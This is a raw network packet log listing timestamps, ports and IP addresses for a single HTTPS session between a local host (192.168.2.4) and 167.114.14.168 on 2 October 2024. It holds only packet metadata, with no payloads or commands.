Oct 2, 2024 06:10:22.619266987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.619283915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.619339943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.619343996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.619532108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.619549990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.619560003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.619564056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.619591951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.619627953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.619806051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.619822025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.619868040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.619873047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.620039940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.620058060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.620098114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.620102882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.620130062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.620153904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.709032059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.709049940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.709101915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.709115982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.709141016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.709155083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.709443092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.709465027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.709510088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.709513903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.709539890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.709553957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.709738016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.709753036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.709800959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.709805965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.709836960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.709851027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.709992886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710009098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710078001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.710082054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710256100 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.710270882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710294008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710319042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.710325956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710345030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.710371017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.710499048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710514069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710546017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.710551023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710575104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.710591078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.710848093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710869074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710912943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.710917950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.710942984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.710957050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.711101055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.711116076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.711173058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.711178064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.711555958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.799685955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.799707890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.799817085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.799827099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.800220966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.800240040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.800281048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.800286055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.800313950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.800340891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.800501108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.800515890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.800566912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.800571918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.800585032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.800609112 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.800678968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.800694942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.800729036 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.800733089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.800757885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.800771952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.801084995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801099062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801141024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.801146030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801167965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.801182985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.801527977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801544905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801593065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.801598072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801611900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801620007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.801631927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801635981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.801642895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801665068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.801700115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.801918030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801934958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801976919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.801983118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.801995993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.803564072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.890691042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.890713930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.890770912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.890794992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.890836000 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.890836954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.890849113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.890868902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.890904903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.890908957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.890938044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.890944958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.891113043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.891128063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.891180038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.891185999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.891374111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.891397953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.891428947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.891433954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.891453981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.891482115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.891700983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.891715050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.891793966 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.891798019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.891961098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.891978979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.892009974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.892015934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.892043114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.892071009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.892159939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.892173052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.892225027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.892229080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.892473936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.892493010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.892529011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.892534971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.892560005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.892582893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.981331110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.981358051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.981420994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.981441975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.981765032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.981792927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.981817961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.981823921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.981843948 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.981873989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.982060909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982084036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982121944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.982127905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982366085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982392073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982424021 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.982429981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982451916 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.982461929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.982697964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982712984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982767105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.982772112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982860088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982896090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982913017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.982918024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.982940912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.982964039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.983114004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.983164072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.983176947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.983181000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.983222961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.983232021 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.983413935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.983462095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.983475924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.983480930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:22.983493090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.983511925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:22.983525991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.072029114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.072065115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.072108030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.072132111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.072144032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.072859049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.072877884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.072915077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.072921038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.072945118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.072972059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.073102951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.073151112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.073154926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.073162079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.073201895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.073331118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.073348999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.073383093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.073386908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.073410034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.073425055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.073487043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.073504925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.073540926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.073546886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.073574066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.073579073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.073729992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.073745966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.073780060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.073785067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.074008942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.074029922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.074057102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.074063063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.074075937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.074096918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.074229956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.074244022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.074287891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.074294090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.075351954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.174295902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.174319029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.174438000 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.174457073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.175565004 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.176337957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.176353931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.176405907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.176410913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.176606894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.176631927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.176664114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.176668882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.176686049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.176718950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.176980019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.176995039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.177047014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.177052021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.177256107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.177274942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.177310944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.177315950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.177341938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.177367926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.177489996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.177506924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.177550077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.177555084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.177570105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.177582979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.178812027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.178824902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.178875923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.178880930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.179042101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.179059029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.179106951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.179114103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.179146051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.179160118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.191493988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.265274048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.265291929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.265419006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.265440941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.265486002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.267362118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.267380953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.267450094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.267471075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.267510891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.267637968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.267653942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.267704964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.267713070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.267750978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.268295050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.268309116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.268385887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.268395901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.268435955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.268657923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.268673897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.268724918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.268733025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.268774033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.268891096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.268919945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.268942118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.268949032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.268975973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.268994093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.269598961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.269612074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.269684076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.269692898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.269732952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.269870996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.269886017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.269937038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.269942045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.269983053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.335642099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.356802940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.356823921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.356897116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.356909990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.356956005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.359026909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.359042883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.359107971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.359113932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.359153986 CEST	49744	443	192.168.2.4	167.114.14.168
